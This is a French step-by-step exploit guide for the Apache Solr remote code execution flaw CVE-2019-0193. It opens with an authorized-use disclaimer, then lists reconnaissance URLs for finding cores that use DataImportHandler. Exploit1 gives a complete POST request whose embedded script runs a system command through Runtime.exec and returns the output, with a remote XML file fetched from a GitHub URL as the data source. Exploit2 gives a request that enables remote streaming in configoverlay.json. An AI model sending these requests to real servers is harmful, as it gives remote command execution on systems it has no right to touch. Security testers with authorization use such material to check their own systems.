Déclaration

Les méthodes de détection de vulnérabilités, fichiers et autres contenus fournis ici sont strictement réservés à une utilisation par des professionnels de la sécurité après avoir obtenu une autorisation légale, dans le but de tester la sécurité des serveurs autorisés. Les professionnels de la sécurité doivent respecter les lois et réglementations, et il est interdit d'effectuer des tests de vulnérabilité sans autorisation.

Introduction

Analyse de la vulnérabilité - Vulnérabilité d'exécution de code à distance dans Apache Solr (CVE-2019-0193) - Communauté Xianzhi

Théoriquement, il est possible d'utiliser différents types de sources de données pour construire une exploitation.

L'exploit1 utilise le type de source de données URLDataSource.

L'exploit2 utilise le type de source de données ContentStreamDataSource.

Détection de la vulnérabilité - Exploit1

L'exploit1 utilise le type de source de données URLDataSource.

Avantages : Retour du résultat, prise en charge de la détection sur les versions antérieures de Solr.

Inconvénients : Nécessite une sortie réseau.

Étape 1

Construire une source de données de type URLDataSource (le serveur Solr accédera à cette source de données). Vous pouvez utiliser directement celle-ci :

https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml

Le document demo.xml est une source de données de type URLDataSource et un document XML inoffensif normal.

Le document ne contient qu'un seul élément item afin d'exécuter la commande une seule fois.

Vous pouvez également lancer votre propre serveur web pour héberger le document demo.xml avec la commande live-server --port=5555, puis utiliser l'adresse http://127.0.0.1:5555/demo.xml.

Étape 2

Obtenir les noms de tous les cœurs (cores) dans Solr :

http://{xx.com:80}/solr/admin/cores

Réponse HTTP au format JSON contenant les noms de tous les cœurs.

"name":"xxxx"

Étape 3

Déterminer si le cœur utilise le module DataImportHandler.

Méthode 1 :

Accéder à :
http://{xx.com:80}/solr/{core_name}/admin/mbeans?cat=QUERY&wt=json

Si le module DataImportHandler est utilisé, la réponse HTTP contiendra :
org.apache.solr.handler.dataimport.DataImportHandler

Sinon, cela signifie que le module DataImportHandler n'est pas utilisé (non affecté par cette vulnérabilité).

Méthode 2 :

Accéder à :
http://{xx.com:80}/solr/#/{core_name}/dataimport

Si le serveur Solr n'utilise pas le module dataimport-handler (non affecté), la réponse HTTP contiendra un message d'alerte :
sorry, no dataimport-handler defined!

Sinon, le module DataImportHandler est utilisé (affecté par la vulnérabilité).

Étape 4 : Construction de la requête HTTP

Exécutez la commande, la réponse HTTP contient le résultat de l'exécution, prend en charge les résultats multi-lignes (chaque ligne se termine par \n\r).

Remarque : remplacez la chaîne "tika" dans l'URL de la requête par le nom du cœur.

POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 1231
Connection: close

command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>


  <dataSource type="URLDataSource"/>
  <script><![CDATA[

          function poc(row){

 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));

return row;

}


  ]]></script>

        <document>
             <entity name="entity1"
                     url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
                     processor="XPathEntityProcessor"
                     forEach="/RDF/item"
                     transformer="script:poc">
                        <field column="title" xpath="/RDF/item/title" />
             </entity>
        </document>
</dataConfig>

Détection de la vulnérabilité - Exploit2

L'exploit2 utilise le type de source de données ContentStreamDataSource.

Avantages : Retour du résultat, pas besoin de sortie réseau.

Inconvénients : Ne peut pas détecter les versions antérieures - car la modification de la configuration dans le fichier configoverlay.json via une requête POST échoue.

Étape 1-3

Étape 1 omise.

Étapes 2-3 identiques à ci-dessus.

Étape 4

Cette étape consiste à modifier la configuration dans le fichier configoverlay.json pour activer les options de streaming distant .enableStreamBody et .enableRemoteStreaming.

Remplacez tika par le nom du cœur.

POST /solr/tika/config HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-type:application/json
Content-Length: 159
Connection: close

{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}

Une réponse 200 indique un succès (testé avec succès sur la version 8.1).

Une réponse 500 indique un échec (certaines versions antérieures échouent lors des tests).

Étape 5

Envoyez une requête, exécutez la commande système ifconfig et obtenez un retour (aucune connexion externe, pas de sortie réseau).

solr_exploit

Populaires